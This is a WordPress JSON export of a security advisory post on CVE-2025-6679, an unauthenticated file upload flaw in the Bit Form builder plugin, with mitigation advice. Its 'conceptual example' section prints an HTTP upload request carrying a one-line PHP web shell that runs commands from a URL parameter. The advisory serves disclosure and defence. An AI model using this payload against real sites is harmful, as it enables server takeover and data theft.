{"id":64218,"date":"2025-08-21T15:15:25","date_gmt":"2025-08-21T15:15:25","guid":{"rendered":""},"modified":"2025-09-04T23:55:56","modified_gmt":"2025-09-05T05:55:56","slug":"cve-2025-6679-critical-arbitrary-file-upload-vulnerability-in-bit-form-builder-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-6679-critical-arbitrary-file-upload-vulnerability-in-bit-form-builder-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-6679: Critical Arbitrary File Upload Vulnerability in Bit Form Builder Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is witnessing another critical vulnerability, this time in the Bit Form builder plugin for WordPress, a popular plugin used worldwide. This newly discovered vulnerability, listed as CVE-2025-6679, can potentially lead to system compromise or data leakage, putting millions of WordPress sites at risk. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53546-high-severity-vulnerability-in-folo-s-github-workflow\/\"  data-wpil-monitor-id=\"73408\">vulnerability has garnered serious attention due to the high severity<\/a>, indicated by a CVSS score of 9.8, and its potential for exploitation by unauthenticated users. Let&#8217;s delve deeper into this vulnerability to understand its implications and how to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-6679<br \/>\nSeverity: Critical (9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27050-memory-corruption-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"74809\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1622422051\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Bit Form Builder <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7384-php-object-injection-vulnerability-in-wordpress-plugin-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79031\">Plugin for WordPress<\/a> | Up to version 2.20.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6754-privilege-escalation-vulnerability-in-seo-metrics-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"72705\">vulnerability arises from the Bit Form builder plugin&#8217;s<\/a> lack of file type validation, allowing unauthenticated attackers to upload arbitrary files onto the affected site&#8217;s server. This absence of security checks provides an attacker with a loophole to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74534\">upload malicious scripts or executable files<\/a>. When the PRO version of the plugin is activated, and an advanced file upload form is published, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33075-a-critical-windows-installer-vulnerability-that-leads-to-privilege-elevation\/\"  data-wpil-monitor-id=\"72361\">vulnerability could potentially lead<\/a> to remote code execution. This could allow an attacker to take control of the server or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43220-unprecedented-data-access-vulnerability-in-multiple-macos-and-ipados-versions\/\"  data-wpil-monitor-id=\"73225\">access sensitive data<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2945971492\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49526-out-of-bounds-write-vulnerability-in-illustrator-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"75126\">illustrating how an attacker might exploit this vulnerability<\/a> using an HTTP POST request to upload a malicious PHP file:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/bit-form\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker uses a multipart\/form-data POST request to upload a PHP script that can execute arbitrary system <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27031-memory-corruption-via-ioctl-commands-processing\/\"  data-wpil-monitor-id=\"71594\">commands supplied via<\/a> the &#8216;cmd&#8217; GET parameter.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch is not yet available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48148-unrestricted-file-upload-vulnerability-in-storekeeper-b-v-for-woocommerce\/\"  data-wpil-monitor-id=\"74967\">upload files<\/a> via the Bit Form builder plugin. However, these are temporary solutions, and applying the patch remains the most effective way to protect your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6187-privilege-escalation-vulnerability-in-bsecure-wordpress-plugin\/\"  data-wpil-monitor-id=\"72972\">WordPress site from this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is witnessing another critical vulnerability, this time in the Bit Form builder plugin for WordPress, a popular plugin used worldwide. This newly discovered vulnerability, listed as CVE-2025-6679, can potentially lead to system compromise or data leakage, putting millions of WordPress sites at risk. This vulnerability has garnered serious attention due to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64218","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64218"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64218\/revisions"}],"predecessor-version":[{"id":71434,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64218\/revisions\/71434"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64218"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64218"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64218"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64218"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64218"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64218"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}